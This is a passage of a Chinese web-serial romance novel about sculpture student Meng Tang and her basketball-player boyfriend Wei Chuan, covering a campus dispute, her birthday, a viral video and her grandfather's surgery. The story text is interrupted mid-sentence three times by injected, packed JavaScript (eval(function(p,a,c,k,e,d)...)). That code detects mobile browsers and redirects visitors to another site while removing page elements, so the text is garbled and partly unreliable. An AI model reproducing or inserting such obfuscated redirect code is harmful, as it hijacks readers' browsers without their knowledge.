最后还是辅导员在群里通知学生不准外传。 但眼下魏川不罢休,有一种不开除李寒津,他就不比赛的荒唐感。 陈洵礼问孟棠:“你当时在场,你怎么说?” 孟棠:“……我能怎么说?视频里不是打了吗?” 即便她知道魏川是故意的,也不可能说出来。 魏川朝李寒津挑了挑眉。 陈洵礼又问贺教练:“那你们体院想怎么办?” 贺教练皮笑肉不笑:“他是顾问,也算学校的老师了,魏川是学生,您觉得这事该怎么办?我们又不需要赔偿,也不需要道歉。” 态度很强硬,陈洵礼为难地看向李寒津。 李寒津目光森冷,说:“是魏川故意引诱我动手的。” 魏川眯了眯眼:“我为什么引诱你动手?” 李寒津顿时语塞。 他能说是因为喜欢孟棠吗?不能,这里坐着校领导和孟棠的辅导员。 他要是喜欢孟棠,有老师勾搭学生的嫌疑。 即便陈洵礼知道他和孟棠的关系,但不知怎么的,在别人眼里,孟棠和他都是两辈人。 他这模样在贺教练眼里就是心虚,贺教练不耐烦地说: “这不就是默认,还有什么好说的。” 陈洵礼叹了声气:“行,会给你一个交代,最后的处理结果不会公开,现在先散了吧,寒津,你留下。” 其他人纷纷出了会议室。 贺教练拍了下魏川的后脑勺:“不争气的,眼睛都快长人家身上去了。” “**,老贺。”魏川皱着眉头喊痛,“你下手能不能轻点,再说了,她是我女朋友,我还不能一看了?” “没出息的,滚蛋。” “得嘞。”魏川得了便宜还卖乖。 出了电梯,他将孟棠往一旁拉,孟棠见他不跟着教练走,好奇地问: “你不去训练啊?” “去。”魏川说,“刚跟老贺争取了几分钟,我马上就去。” 孟棠停住脚步:“你有事跟我说啊?” 魏川只有五分钟的时间,他点了点头:“接下来大半个月都没什么时间和你联系,可能我下训的时候,你已经睡了。” “没关系啊。”孟棠说,“比赛重要,我不会说什么的。” 魏川:“可我们不是刚谈嘛,我怕你心里有落差。” 孟棠摇摇头:“没事的。” 魏川稍稍放了心:“那就这么说定了,我有空给你发信息,你睡了就第二天给我回。” 以前田聿他们谈恋爱的时候,女朋友总会抱怨没时间陪她们。 这也是导致他们分手的原因,魏川好不容易追到人,生怕孟棠也会这样。 所以软磨硬泡求来了五分钟的陈情时间。 “好,我知道了。”孟棠拉住他手臂,朝他笑了笑,“安心训练,好吗?” “好。”魏川抓起她的手啄了下,十分自然,“走了。” “嗯。” 之后真如魏川所说,两人只能靠短信联系。 明明一个学校的,短信还总有时差。 魏川早上六点就起了,等孟棠起来上课,他也在上课。 老贺把魏川他们吃饭的时间都缩了。 整整一个礼拜,两个刚谈恋爱的人愣是没见到一面。 周六,孟棠早起去博物馆。 差不多八点,李寒津等人也到了,出示了证件,孟棠跟随进了修复室。 她戴上放大镜,手法轻柔地用细毛笔蘸取特制的加固剂,点在观音像衣褶的裂纹上。 李寒津自然地跟她打了招呼:“今天来这么早?” 他已经从学校离职了,是主动的。 看来是陈洵礼说了什么。 孟棠起身,说:“希望早点结束,我还有其他事要忙。” 李寒津戴上手套,问:“你觉得还有多久会完工?” 其他人也抬眼看向孟棠,孟棠说:“按照进度看,大概还要五六周的时间。” “所有细小裂缝的加固处理还需要三天左右。” “耗时间的是观音像右手指尖和莲花座边缘的缺失部分需要补配,但料子有了,我预计两周能成。” “之后整体颜色协调做旧,又是一周,至于最后的封护处理,三天就够了。” 加上其他细碎的活,差不多能在六月底结束工程。 不过每完成一个阶段都需要进行详细的记录和评估,以防返工。 返工是最令人头疼的事。 李寒津点了点头:“加固剂的浓度调了吗?” 孟棠说:“调了,已经渗透了。” 李寒津站着没动,眼神难掩欣赏。 孟棠不是木头,能察觉到他的眼神,直接回望过去,说: “关于莲花座缺失的那一小块,之前我们有讨论过,原物可能用了接木法,我们是不是要还原?” 李寒津说:“查完资料再说吧。” 孟棠说:“我已经查好了,发你邮箱,你看吧。” “好。” 忙了一天,孟棠托着疲累的身体回了寝室。 洗完澡,她趴在床上看手机,里面没有魏川的信息。 谢泠音敲了敲她的床:“孟棠,你怎么了?” 孟棠撩开窗帘,说:“怎么了?” 谢泠音望着她,问:“你是不是心情不好?看你回来就洗澡睡觉了。” 孟棠:“没有心情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他哼了声:“不能哄哄我吗?” 孟棠笑道:“多大人了,还要哄?” “需要需要滴。”魏川跟她耍赖,“这么多天没见,我好想你。” 这个语气是真的可怜了,孟棠不再逗他,小声说:“我也想你。” 魏川笑了声:“我就知道。” 时间不太够,两人只聊了五分钟。 孟棠生日当天是周一,大家都要上课,也没时间庆祝。 尤其是孟棠自己,一整天都是课。 谢泠音她们只能将生日安排在寝室过。 孟棠下了课,匆匆赶回了寝室。 刚推开门就被**的礼花轰个正着。 她笑着拿掉头上的彩带,说:“你们会不会太隆重了?” 谢泠音说:“已经很简单了。” 孟棠将包放下,看了眼铺满了食物的桌子,笑了声:“买了这么多吃的吗?” 谢泠音说:“蛋糕是魏川托许鹤清送来的,还有礼物。” 孟棠已经看见了自己桌上堆砌的礼盒,一共四个,除了室友,就是魏川了。 石岚说:“先吃饭吧,吃完饭慢慢拆,看看我们都送了什么。” 孟棠拿了自己的折叠小板凳:“行,先吃。” 她余光扫了眼桌子,心想:魏川的礼物是什么准备的? 毕竟这几天他又没有一丝消息。 甚至她都怀疑,他还记不记得。 第137章 接吻爆珠 孟棠将奶茶给石岚和杨可递过去,自己和谢泠音拿了果茶。 谢泠音朝杨可使了个眼神:“可,灯先关一下,咱们点个蜡烛,唱个生日歌。” “好嘞。”杨可起身去关了灯,石岚将蜡烛摆上,拿了生日蛋糕里送的火柴。 “擦”一声,孟棠的视野里晃起一抹亮,温暖了眸光。 谢泠音歪着头,领头给孟棠唱生日歌,没有扭捏拘谨,只有真心诚意。 孟棠看着她们三个,眼底流淌着无言的感动。 “生日快乐!孟棠。” 孟棠抿着唇点了点头:“谢谢。” 石岚催促她:“赶紧许个愿,咱们吹蜡烛了。” 孟棠合起双手闭上眼睛,五秒后又放下,刚要吹蜡烛,手机响了。 “肯定是魏川。”谢泠音说,“你先接。” 杨可:“对,开个免提给我们嗑一下。” 孟棠将免提打开,手机放到了桌上。 听筒里传来篮球击打地面的小节奏的声响,魏川本人也是,还微微喘着气,应该是刚结束训练。 果不其然,他在手机里说: “我刚结束训练,马上去吃饭,你下课了吧?” 孟棠“嗯”了声:“早下课了,已经回寝室了。” 魏川:“吃饭了吗?怎么就回寝室了。” 孟棠说:“今晚在宿舍里过生日,买了一些吃的,没去食堂。” “那吃蛋糕了吗?”魏川轻笑,“还有礼物,拆了没?” 孟棠说:“还没拆,正要吹蜡烛,你就打电话过来了。” “被我打断了,会不会就不灵了?”魏川下意识这也觉得,“要不你再许一下愿望?” “好,那你别挂。” 孟棠再次许愿,许愿完吹灭了蜡烛。 其他三个人拍手叫唤:“生日快乐……” 魏川听了全过程,说:“不打扰你们了,我先去吃饭了,今晚下训早,我特意争取的,等我电话?” “好。”孟棠应了声。 挂断电话,杨可“啧啧”两声:“怎么也不知道说句生日快乐。” 石岚抵了下她:“没听到嘛,下训来找咱们孟棠,到时候肯定要面对面地说,赶紧去开灯。” 杨可起身,将灯打开。 孟棠挡了下眼睛,说:“我先把蛋糕给你们切了。” 她拿起刀叉,摆了一次性的盘子,一人分了一块。 蛋糕不大,吃着正好。 几人边吃表聊,聊到了cubal的全国赛。 延迟到暑假,大家都有时间,最后就是去不去现场的问题。 谢泠音说:“许鹤清说他们寝室的肯定要去支持,不过是决赛的时候,我也决定去现场看,你们呢?” 石岚吞下最后一口蛋糕,说:“暑假回老家,我肯定得看直播了,到时候说不定还能在电视上看到你们。” “我也去不了。”杨可哀怨道,“我哥嫂忙,一到放假,我就自动变身德华。” 孟棠被逗笑:“整个暑假都要带孩子吗?” 杨可点了点头:“累是累了点,但是有钱,我倒是愿意的。” 石岚想象不出孩子有多麻烦,笑话她:“给你多少啊,你就这么拼?” 杨可伸出食指和中指:“两万。” 谢泠音:“不算少,而且我记得你侄子侄女也大了,平时看着点就行。” 杨可:“是这样的,辅导作业是另外的价钱。” 她可不想被气死。 谢泠音转头问孟棠:“你决赛肯定要去吧?” 孟棠点了点头:“去,本来前面的比赛也要去的,但魏川不让,说太累了。” 谢泠音说:“跟比赛是累,你就老老实实跟我们一起去。” 孟棠:“行,到时候再跟你们联系。” 石岚拆开披萨盒,一人发了两只手套,问:“那你们暑假什么打算?” “我打算去采风。”谢泠音说,“等cubal比赛结束就走。” 孟棠转过头问:“去哪儿啊?” 谢泠音说:“暂时还没定,不过已经和许鹤清说过了,我俩一起去。” 石岚:“**,我是真羡慕了。” 她只能在乡下写写生。 杨可看向孟棠:“你还没说你暑假打算干什么呢。” “她有什么好说的。”谢泠音笑了声,“还不是回去跟她的一堆木头作伴,我还等着开学的时候,又给咱几个带两个木雕小玩意呢。” 杨可:“你还别说,我侄女好喜欢孟棠去年给我的小鸭子,可我也喜欢,她就耍赖,我也没给。” 主要是孟棠送的,她也不好转手送人。 孟棠说:“没事,我八月的时候再给你雕刻两只。” 杨可对她拱手:“大恩不言谢。” 谢泠音抓住重点:“八月?听你这语气,七月有事啊?比赛也比不了一个月吧?” 孟棠清了清嗓子,有些羞赧:“可能要和魏川出去玩。” “去哪儿玩?要不跟我和许鹤清一起去采风?” 四个人一起的话,那就有意思多了。 孟棠倒是想,但她已经和魏川说好了,便婉拒了:“去香港,应该不同路。” 谢泠音一把抓住她胳膊:“你们去香港玩啊?” 孟棠点了点头:“其实是因为我没去过,他就想带我去。” 石岚快羡慕疯了,对着孟棠伸出尔康手:“好闺闺,帮我玩。” 杨可:“加1。” 谢泠音去过,说:“挺好玩的,魏川去过,他应该都知道,你俩去多少天啊?” “差不多一个礼拜吧。”孟棠说,“我暑假还要出件,八月要在雁清待着。” 她的这个出件相当于不生手的作品练习,最后是要拿给老爷子过目的。 寒假因为观音像修复的事耽搁了,于是便把《连年有余》搬到了暑假去做。 这期间,需要静心,不可能再去别的地方。 聊到了一个多小时,孟棠被催着去拆礼物。 谢泠音往后指了指:“上面三个是我们仨送的,最大的盒子是魏川送的。” 孟棠将上面三个拿过来,当着室友的面拆了。 石岚送了个马克杯,杨可送了她一个充电宝。 因为之前去螺洲岛的时候,孟棠的充电宝丢了。 杨可送给她的,和她之前用的一模一样。 谢泠音的也实用,是一件睡裙。 “谢谢。”孟棠将东西一一收好,转头跟她们道了谢。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15963949|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你看看魏川给你送了什么。”谢泠音笑了声,“我比较好奇这个。” 石岚凑过来说:“看着像鞋盒。” 孟棠将最外面的包装拆开,转头跟石岚说:“你猜对了,是鞋子。” 打开发现是一双北卡蓝DunkLow,鞋子看着很眼熟,魏川好像也有一双。 显然是情侣鞋,魏川就没有便宜的鞋。 最低都得四位数,这话她无意中听别人讨论过。 他送礼物的日子也实在巧妙,孟棠这会儿要是追究价格,简直是不解风情。 不过他怎么知道自己的鞋码? 谢泠音说:“咱们今天送的礼物都挺接地气的,你都用得着。” 孟棠应了声,将鞋子放好,打开手机看了眼。 魏川估计还得要一个小时才能下训,她说:“我下楼去操场转转,顺道等一等魏川,你们去洗澡吧,我来收拾一下,顺道把垃圾带走。” “我来。”石岚拿了垃圾桶,“你今天过生日让你动手干什么,下楼把垃圾带着就行。” 谢泠音碰了下孟棠的手臂,说:“我给你个东西。” 孟棠好奇地凑了过去:“什么?” “接吻爆珠。”谢泠音小声道。 孟棠刷一下红了脸,推开她的手:“我不要。” 谢泠音笑话她:“我不信你们今晚不接吻。” “我……” 孟棠无言以对。 她不自在地清了下嗓子:“我去下卫生间。” 谢泠音知道她去刷牙了,笑个不停。 从卫生间出来,孟棠换了套衣服,拎着垃圾下楼去。 到女寝门口,她拿出手机给魏川编辑了一条信息:【我去操场转转,消消食,你下训就去那边找我。】 此时的孟棠还没意识今晚会有丢**戏在等她。 一切还得从魏川收到这条信息开始。 训练结束他就看到了信息,但因为还要洗澡,就让田聿帮他去充手机的电。 他的手机连着两天没充电,已经掉到1了。 魏川出了淋浴间,换上了带过来的常服。 对着镜子扒拉了半天,可算弄了一个自己还算满意的发型。 “别弄了,哥,够帅了。”曹岩取笑他,“这要给学姐看见,还不把她迷死。” “这你就不懂了吧。”田聿笑着拍了下曹岩,“你家川哥在人家孟棠面前,可摆不出什么谱来。” 邵一鸣:“对,孟棠是淡人,什么都无所谓的样子,你川哥才是费尽心机的那一个,生怕失宠啊。” “都滚蛋。”魏川指了指他们,“今晚好不容易有点时间,别在我这儿浪费了。” 邵一鸣:“走走走,咱们回寝。” 没一会儿,门口进来一人,问:“川哥,你的蛋糕要从冰箱拿出来吗?” “帮我拿一下,谢谢。” 魏川穿上鞋,走了出去。 休息室基本上走光了,他的蛋糕放在一旁的桌子上。 魏川拔掉手机,想要给孟棠打电话,却发现没充上电。 愣了半晌,他吼了一嗓子:“田聿!**做事能不能靠谱点!” 墙上的钟表都快走到十点了,魏川耐不住一分一秒,拎起蛋糕跑出了休息室。 第138章 你的爱是刻刀 夜风吹散了魏川额前的刘海,露出了他饱满光洁的额头。 他一边跑一边还得注意着手里的小蛋糕。 从训练馆跑到操场边,他被眼前的一片黑弄懵了。 “**,灯呢?” 操场那么大,那么亮的灯呢? 他这一句话,逗得坐在地上玩手机的两个妹子笑个不停。 魏川尴尬地走了过去,问:“你们认不认识我?” 两个女生打着手机灯光看了眼,惊喜道:“魏川?” “是是是,是我。”魏川急道,“你们有没有看见孟棠,我女朋友。” “没看见,你怎么来这儿找她?” “我手机没电了,她说在操场等我,我现在找不到她。” 女生把自己的手机给她:“你给她打个电话。” “谢谢。”魏川兴奋地接过,输入号码的时候却死活想不起来正确的数字。 也就一开始,他和孟棠交换了号码,后来基本是微信语音和视频。 “……” 他真的要骂人了。 两个女生尴尬地笑了声:“要不我们陪你一起找?” “不用了,谢谢!”魏川连忙婉拒。 他拎着蛋糕,沿着操场小跑了一圈,竟然没发现孟棠,最后被逼得无奈,只能边走边喊: “孟棠……孟棠……” “谁看见我女朋友了吱一声,她是雕塑系大二的孟棠。” “有没有人认识她?” “有没有人看见孟棠?” “孟棠……” 看戏的学生纷纷对他举起了手机,从没见过在操场上这样找女朋友的。 孟棠一个激灵,从看台下方的隐蔽位置走出来。 “魏川?” 魏川猛地转过头:“孟棠?” 孟棠打开手机灯光,走了过去。 魏川松了口气:“我还以为你走了。” “你怎么一直在叫我?”孟棠被四周窸窸窣窣的笑声弄得一愣,“你不能打电话吗?” 魏川说:“手机没电了,刚才有个女生借我手机,可我没记住你号码。” “但你不要生气,我今晚回去就背。” 孟棠上前拉住他的手:“先离开这里。” 这会儿操场上还有不少人。 两人去了操场边缘,寻了个没人的地方,挨着路边高一点的台阶坐了下来。 魏川一把拉住她的手,解释道:“我看见你信息的时候,手机快没电了,就让田聿给我充电。” “那孙子没充上,等我洗完澡出来,他们都走了。” “我也怕你等不及,只能拎着蛋糕就跑过来了。” 孟棠垂眸瞥了眼他旁边的蛋糕,说:“你不是已经买了一个去寝室了,怎么又买?” “那能一样吗?”魏川让她拿手机灯光照着,端起了蛋糕拆开,“我这个蛋糕才是独属于你的,还是爱心的。” 巴掌大点的红色爱心蛋糕被捧在魏川的手里。 他拿了一根生日蜡烛插上,从裤子口袋里掏出了打火机。 “你还抽烟?”孟棠蹙眉。 “不抽。”魏川说,“顺的老贺的打火机。” 孟棠失笑。 “咔嚓”一声响,微弱的烛光照亮了两张精致的脸。 “来。”魏川将孟棠搂进怀中,“对着它,许个美好的生日愿望。” 孟棠仰眸看了一眼,笑着闭上了眼睛。 这次许愿的时间有点长,十来秒她才睁开眼睛,吹灭了蜡烛。 魏川在她脸上亲了下:“宝宝生日快乐。” 孟棠心脏狠狠地漏掉一拍。 魏川低哑温柔的声音轻轻扫过她的耳畔,激起一阵酥麻,从四肢百骸钻进骨血。 这声亲昵的称呼轻得像拂过的晚风,又重得像一块充满棱角的石头。 孟棠咬了下唇,心里软成一滩水,小声又羞涩地回了句:“谢谢。” 魏川将蛋糕送到她唇边:“咬一口。” 孟棠也没问怎么不用勺子,低头轻轻咬了一口,鼻尖一凉,沾上了蛋糕。 魏川笑了声,掰过她的脸,抹去了那点红。 “有没有勺子?”孟棠问。 “有。”魏川从旁边的蛋糕盒里拿出银勺,挖了口送进了孟棠的口中。 微苦的可可香平衡着甜度,孟棠抬了抬下巴:“你也吃,我真的不饿了。” 魏川自己也吃了一口,酸甜的果香和淡淡花香充斥着口腔,口感很清爽。 这个蛋糕本就小,几口解决完,魏川将剩余的垃圾归拢收好。 一转头发现孟棠的嘴角还沾着果酱,抬手揽住了她的脖颈,将人拽到了跟前。 孟棠怔怔盯着他看,小声问:“怎么了?” 魏川视线下移:“嘴边沾了果酱。” 孟棠下意识去舔,却被一口灼热的呼吸堵了回去。 柔软相碰,像烟火的引信被瞬间点燃。 酸甜交织的甜味充斥着这个甜而不腻的吻。 魏川的手掌很大,几乎包裹着孟棠的后颈,指尖还能够拨弄她的耳垂。 孟棠出了一身的汗。 空气不够,她只得张开了嘴巴,任由对面的人长驱直入。 经过几次的交流,魏川的吻技说得上是质的飞跃。 他还学会翻面了。 两人像被加热的糖块,黏黏糊糊最后融化在一起。 直至空气稀薄,魏川才松开了她。 不过也只退开了半寸,随后又往前轻轻啄了下孟棠的唇。 孟棠睁开眼睛,里面浓稠的情感和喜欢简直要把魏川的心看化了。 他捏了下孟棠的脸,笑得灿烂兮兮:“真可爱。” 孟棠歪了下头,躲开了他的手。 “害什么羞?”魏川追过去,揽住她的脸,“都是男女朋友了,亲一下就这样了?” “谁害羞了。”孟棠拍开他的手,“走了,回寝室。” “再坐会儿。”魏川揽住她,“好不容易见个面。” 说完,魏川自己都笑了声,一个学校的,见个面都他妈不容易。 孟棠靠回他胸膛,问:“训练累不累?” 魏川拨了下她耳边的鬓发,跟她闲聊:“不累,习惯了。” 孟棠搓了下他的手,小声道:“不要受伤。” “不会的。”魏川捏了下她耳垂,“刚才许愿许了什么?在寝室许的,和在这里许的愿望一样吗?” 孟棠摇了摇头:“不一样。” 魏川问:“许了什么愿望?” 孟棠坐直身体,看着他的眼睛笑了声:“说出来就不灵了,干嘛一直追问?” 魏川有皮肤饥渴症似的,又将孟棠往自己身上揽了下,笑道: “我灵啊,只要你说出来,我保证给你实现,相不相信?” “为什么一定要给我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孟棠牵上去,问:“你送我的鞋子尺码正好,你怎么知道的?” 魏川说:“其实你这身高看得出来尺码,不过我又怕真买了不合适,就问了杨可。” 孟棠:“我说怎么拆礼物的时候,就她没说话。” 晃眼间到了寝室楼下,魏川摸了摸她的头,说: “到了,上去吧,我也要回寝室了,这段时间还是很忙,对不起。” 孟棠上前一步抱住了魏川的腰。 魏川一愣,这还是孟棠第一次主动抱他。 他低了低头,笑着顺了顺孟棠的长发:“好了,别撒娇了,赶紧上去。” 孟棠点了点头:“那我走了?” “嗯。” 两人黏黏糊糊,一步三回头地分了别。 孟棠回到寝室,里面传来三道丧心病狂的笑。 她愣了下,推开门问:“你们在笑什么?” “笑你。”谢泠音三人异口同声。 “笑我?”孟棠不解地走过去,“笑我什么?” 谢泠音将手机翻转过去:“自己看。” 孟棠狐疑地凑了过去。 第139章 黑夜操场寻爱记 魏川在操场找孟棠的样子,被全操场的人偶遇,并且拍照传了朋友圈。 本来大家只是乐呵乐呵,为平静的校园添点八卦笑料,偏偏有人前后联系起来制作了一段视频。 然后在Z大各个群和朋友圈里疯狂流转。 孟棠实在佩服这剪辑的手段,完整地复刻了魏川像只无头苍蝇在操场寻找她的轨迹。 更令人想笑的是标题文案,是各种各样的抓马—— “黑夜操场寻爱记,看体院男神魏川下训后的恋爱日常。” “黑灯瞎火找老婆。” “偶像剧男主也比不上的颜值,结果在操场迷惑行为大赏。” “宝贝你在哪儿?今晚十点精彩呈现!” “痴情男苦寻女友,质问Z大:卧槽!灯呢?” “美院小可爱与体院大帅哥的你追我藏。” “谁看见我女朋友了吱一声!吱一声啊吱一声。” “孟棠!!!” “谁看见孟棠了?” “我那么大一个老婆去哪儿了?” 孟棠麻了,脑干缺失的麻。 她一把抱住床的栏杆,羞耻地捂住脸,发出生无可恋的哀嚎。 这是哪个人才啊。 “哈哈哈……” 谢泠音笑得东倒西歪,石岚和杨可也毫不例外。 “我操,笑死我了。”石岚拍了拍脸,“嘴巴都酸了,合不上。” 杨可笑着问孟棠:“今天操场的灯坏了?” 孟棠“嗯”了声:“这到底谁弄的?” “你管他谁弄的?”谢泠音说,“大家都挺欢乐的,都在感谢这个无聊的夜晚,感谢魏川呢。” 石岚:“你说他怎么那么傻?” 孟棠:“……手机没电了,不是故意这样的。” “真的太好笑了。”杨可说,“我看了好几遍视频。” 孟棠:“……” 她明天走路上不会被贴脸开大吧? 不得不说,她的直觉很对。 第二天去上课的时候,但凡看见她的,都会留下一抹意味深长的笑。 等她进了教室,全班贴脸,异口同声:“谁看见我女朋友了吱一声……” 孟棠:“……” 谢谢,她人已经死了。 她合起双手,对大家求饶:“放过我吧……” 她这模样实在难得,惹得众人大笑不已。 就在这时,老师进了教室,看到门口的孟棠,说: “你男朋友昨晚找到你没?” 全班人再次哄笑,孟棠朝老师干笑了声:“找到了。” 老师:“那就行,我看视频看一半,孩子突然不舒服去了医院,忙了一夜,看见你又想起来了,不过他没带手机吗?” 孟棠说:“手机没电了。” “这样啊,行,先回座位吧,上课了。” 孟棠这边结束了,魏川那边又迎来了一波社死。 当田聿把视频在队里公放,魏川从后面一把勒住他的脖颈。 田聿扔了手机,抓住魏川的胳膊求饶:“川哥川哥,手下留情。” “要不是你昨晚没给我充上电,老子今天能有这笑料吗?” 田聿:“你要这么想,也是一种很特别的回忆,以后你跟孟棠想起来是会心一笑的程度。” “还会心一笑。”魏川拍了下他的头,“全是贴脸开大。” 也不知道孟棠看没看到这个视频。 但其实剪的挺有意思啊,真TM人才。 魏川趁着休息给孟棠发了条信息。 孟棠下课才看到。 她给魏川回复:【我昨晚就看到了,其实挺有意思的,只是早上来教室被同学们调侃了两句。】 魏川没回,孟棠也没有执着地等。 下午没课,不过他们专业课四人一组搞作业,她和组员们一直待在雕塑工作室里。 而此刻的校门外,来了一位不速之客。 李寒津过来找孟棠,刚把车停好,接到了一通电话。 他立刻返回车里,说:璋叔你别急,我现在就去医院。” 李寒津赶到医院的时候,孟怀璋正一头雾水地乱窜。 看到李寒津,孟怀璋才算松了口气。 “璋叔,师父怎么了?” 孟怀璋抹了把脸:“早上突然晕倒,送医后什么也没查出来,直接转来了这里,本来想通知孟棠的,又怕她担心,想检查结果出来再告诉她。” “可我走得急,钱没带够,只能麻烦你过来跑一趟。” 他没有绑定任何的手机支付,在雁清,都是带现金出门。 李寒津当即说:“璋叔,没事,有我呢,走,我陪你一起。” 很快,检查结果出来,神经外科的主任医师指着MRI片子,告诉孟怀璋: “慢性硬膜下血肿,老爷子头部在近几个月是不是受过伤?” 孟怀璋有点懵:“没听说啊。” 李寒津赶紧接话:“医生,我师父是做木雕的手艺人,可能会撞到木架之类的地方,他自己当时没什么感觉,可能也就没说。” “好,现在是小血管裂了,血已经慢慢渗了出来,积成了血肿。” “老爷子近期如果有头晕无力这些症状,都是这个原因造成的。” 本小章还未完,请点击下一页继续阅读后面精彩内容!孟怀璋问:“那现在是要手术吗?” 医生点了点头:“不处理的话,血肿会继续压迫大脑,后续可能会出现更严重的肢体无力,甚至昏迷。” 孟怀璋:“手术……风险大吗?毕竟这么大岁数了。” 医生:“任何手术都有风险,不过这个手术是微创的,我们是在局部麻醉下,在颅骨上钻一个小孔,把淤血引流出来。” “手术时间也很快,大概半小时,术后观察三到五天就能出院。” 李寒津问:“之前在雁清的时候,怎么会没查出来?” 医生:“普通CT容易漏诊。” “好,我们知道了。” 孟怀璋和李寒津退到走廊上,拿出手机要给孟棠打电话。 李寒津一把将人拦下:“璋叔,你通知孟棠也解决不了什么问题,还让她跟着担心。” 孟怀璋说:“她爷爷手术,肯定要通知她一声的,不然她会生气。” 李寒津安抚道:“我知道,但您完全可以等手术后再通知她过来医院。” 孟怀璋被说服:“这样也行,那就让医生准备手术?” 李寒津脸色略带沉重地说:“师父年纪大了,手术虽小,但有风险,还是要找个靠谱的医生才行,可我刚来Z市没多久,没有这方面的人脉。” 孟怀璋看向李寒津:“你的意思是现在的医生不靠谱?” 李寒津:“我没有这个意思,就是觉得认识人更好点,毕竟医院坑人的事也不少,每年都有那么几条新闻。” 孟怀璋被轻易说服,随即为难起来:“可去哪儿找关系?” “有句话我不知道该不该说。”李寒津眸光半转。 孟怀璋:“你说就是。” 李寒津:“小师妹谈了个男朋友,她这个男朋友家里在本地很有话语权,找个好医生,一句话的事。” 孟怀璋蹙了下眉心,显然在思考。 — 夜半,魏立峰回到家里,扯开领带坐在床尾半天没动。 楚茵幽幽转醒,骂他坐那儿吓人。 魏立峰瞥了她一眼,说:“孟棠的爷爷明天有个小手术,你说要去看吗?” 楚茵一下清醒了:“你怎么知道?” 魏立峰说:“她爸来公司找的我,希望能给找个医生做手术,这不是小事嘛,我就答应了。” 楚茵有点懵:“去公司找的你?” 魏立峰也有些尴尬:“没事,毕竟要手术,也不是故意冒犯。” “她爸几十岁的人了,做事还这样毛躁。”楚茵的心里有些不太舒服。 这才刚交往就凑了上来。 魏立峰“啧”了声:“别这么说,省得难看,你就说去不去吧。” “这怎么去啊?”楚茵白了他一眼,“他们才交往几天,我们兴师动众去看望,这是不合适的压力,如果孟棠和小川交往了半年,那必然要去看一下的。” 魏立峰也是这么个意思,时机不太合适。 “可现在已经知道了,不去也不太好。” “这不就是把人架起来了。”楚茵挥了挥手,“你先去洗澡,这事我来办吧。对了,孟棠的爷爷什么病啊?” 魏立峰把了解到的跟妻子说了一遍,楚茵愣了半天,道: “这么点小手术,贸然跑你公司去,还给他找了陈斐这个业内大拿,这跟叫来米其林大厨,让他煮方便面有什么区别?还平白欠了陈斐的人情。” 魏立峰起身:“我洗澡去了,这事你看着办。” 楚茵无奈地揉了揉眉心,大半夜的给魏思嘉打了个电话。 孟棠回到寝室时已经很晚了,不过室友都还没睡。 谢泠音见到她,说:“你下次早点回来,忘了之前在人工湖的遭遇了?” 孟棠解释道:“搞专业课的小组作业,焊接到一半,总不能走了吧,晚饭都没吃,弄了好几个小时。” “晚饭也没吃啊?”谢泠音拖出零食盒,“自己想吃什么,随便拿。” 孟棠摇了摇头:“不想吃,我洗澡睡觉了。” 太累了,肩膀都快酸死了。 洗完澡爬上床,孟棠拿起手机,没有来自魏川的信息。 她笑了笑,给他发了一条:【晚安。】 魏川每天就靠这两个字入睡。 翌日上午,又是半天的课。 孟棠刚出教室,接到了孟怀璋的电话。 愣了好几秒,她猛地拿起包往北门跑。 路边一辆黑色的宾利缓缓开上来,按了下喇叭。 后排车窗降下,露出魏思嘉那张艳丽的脸。 孟棠一愣,魏思嘉朝她笑了笑:“我路过这儿看你急匆匆的,去哪儿啊?我送你。” 孟棠一时不知道怎么称呼,说:“我去医院,不耽误你的事。” “没事,我回家呢,上来吧。” 司机开了车门,孟棠忙道:“我自己来。” 上了车,孟棠说:“麻烦你了,去第一人民医院。” 魏思嘉笑了声:“跟着魏川叫我大姐吧,不好意思的话,叫嘉嘉姐也行。” “嘉嘉姐。”孟棠松了口气,为她亲切的态度。 到了医院,魏思嘉跟孟棠一起下车,孟棠连忙阻止: “嘉嘉姐,我自己上去就行了,我爷爷已经出了手术室。” 魏思嘉说:“来都来了,不上去也不太好。” “请留步。”孟棠说,“我听家里人说,只是一个小手术,今天谢谢嘉嘉姐送我过来。” 魏思嘉颔首:“好,如果有什么需要的,尽管说。” 孟棠和她道了别,转头进了住院部。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第140章 你没走 孟棠进了病房,看到老爷子已经醒了,吊起的一颗心终于放下一半。 “爷爷。” 孟遇春脸色尚可,只是那双经历岁月变迁的眼睛有点失神。 “别担心,没事。” 孟棠抓住枯木般的手,语气有些哽咽:“做手术的时候怎么不通知我?” 孟遇春:“你爸爸做主的,你来有什么用,白担心。” 孟棠撇过了脸:“我以后有什么事也不跟你们说了,我现在心里就有一件事。” “闹什么脾气。”孟遇春觉得她可爱,又生生忍住了,“你们小女生的事情,我也不想知道。” 孟棠哼了声。 孟怀璋推开病房的门,见到孟棠笑了笑:“你来了。” 孟棠看了眼病房,说:“安排的病房还行。” 孟怀璋说:“你男朋友家里安排的。” 孟棠和孟遇春同时一愣,又同时蹙眉:“你说什么?” 孟怀璋咳了声:“这是你男朋友的家里人安排的单人病房,做手术的医生也是他们找的人。” 孟遇春愣了半晌,没问孟棠谈恋爱的事,反倒质问孟怀璋:“孟怀璋,你是真蠢还是装蠢?” 孟棠抿了抿唇,没说话。 